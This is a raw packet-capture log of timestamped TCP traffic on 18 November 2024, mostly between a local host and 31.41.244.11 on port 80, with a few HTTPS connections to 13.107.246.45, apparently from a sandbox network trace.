Nov 18, 2024 23:04:14.617623091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617640018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617662907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617676020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617696047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617729902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617737055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617808104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617830992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617846012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617889881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617901087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617923975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617937088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617961884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617974997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617995024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618046045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618086100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618119955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618158102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618172884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618172884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618195057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618206978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618231058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618242979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618267059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618278027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618319988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618486881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618521929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618556976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618565083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618566036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618592024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618606091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618627071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618643999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618664026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618678093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618727922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.618927956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618963003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.618998051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619004965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619004965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619033098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619054079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619069099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619077921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619102955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619119883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619139910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619162083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619189978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619647980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619674921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619698048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619703054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619735003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619735956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619736910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619751930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619772911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619779110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619798899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619807959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619817972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619853973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619873047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619893074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619926929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619945049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619951010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619951010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619961977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619971991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.619980097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.619998932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620002985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.620047092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.620369911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620390892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620407104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620439053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.620484114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.620702982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620713949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620722055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620731115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620740891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620749950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620760918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620765924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.620770931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620781898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620791912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620801926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.620801926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.620821953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.620845079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.621532917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621543884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621552944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621562958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621573925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621583939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621593952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621603012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621603966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.621603966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.621615887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621627092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621633053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.621639013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621649027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.621678114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.621678114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.621700048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.622522116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622533083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622540951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622546911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622553110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622561932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622570992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622581005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622581005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.622590065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622601986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622601986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.622612953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622622967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622632027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.622643948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.622664928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.622694969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.623487949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623500109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623507023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623516083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623524904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623533010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623543978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623553991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623558044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.623564005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623574972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623579979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.623584986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623595953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623605967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623615026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.623621941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.623640060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.623703957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.624402046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624413013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624420881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624430895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624449968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624456882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624459982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.624473095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624483109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.624485970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624514103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.624522924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.624548912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.624577999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.637943029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638006926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.638016939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638027906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638066053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.638101101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.638176918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638186932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638195992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638204098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638215065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638240099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.638272047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.638441086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638451099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638458967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.638497114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.638529062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.669610977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.669683933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.669694901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.669735909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.669821024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.669851065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.669862032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.669905901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.669936895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.670013905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.670023918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.670061111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.670092106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.670109034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.670155048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.683373928 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.690637112 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.691005945 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.691086054 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.692859888 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.692919970 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.693285942 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.693300009 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.693610907 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.693629980 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.693640947 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.693646908 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.697846889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.697889090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.697911024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.697943926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.697947979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.697982073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698007107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698015928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698039055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698048115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698082924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698084116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698108912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698132992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698293924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698327065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698355913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698360920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698375940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698395967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698396921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698431969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698438883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698466063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698471069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698499918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698508024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698533058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698555946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698570967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698585033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698612928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698740005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698772907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698788881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698807001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698817968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698841095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698849916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698874950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698890924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698909998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698910952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698946953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.698955059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.698987007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.699002028 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.699106932 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.699201107 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.699383020 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.699408054 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.737377882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737418890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737458944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737461090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737514019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737546921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737559080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737559080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737559080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737581968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737591982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737617016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737649918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737695932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737776041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737807989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737838984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737840891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.737860918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737900972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.737991095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738045931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738049984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738079071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738100052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738111973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738125086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738146067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738173008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738181114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738198996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738214970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738234997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738249063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738262892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738298893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738501072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738534927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738560915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738569975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738596916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738604069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738620996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738640070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738672018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738691092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738837004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738869905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738894939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738903999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738914967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738939047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.738960028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.738971949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739008904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739025116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.739041090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739073038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739108086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739109039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.739176989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.739396095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739430904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739463091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.739476919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739512920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739518881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.739540100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.739547968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.739562988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.739603043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740216970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740250111 CET	80	49794	31.41.244.11	192.168.2.4
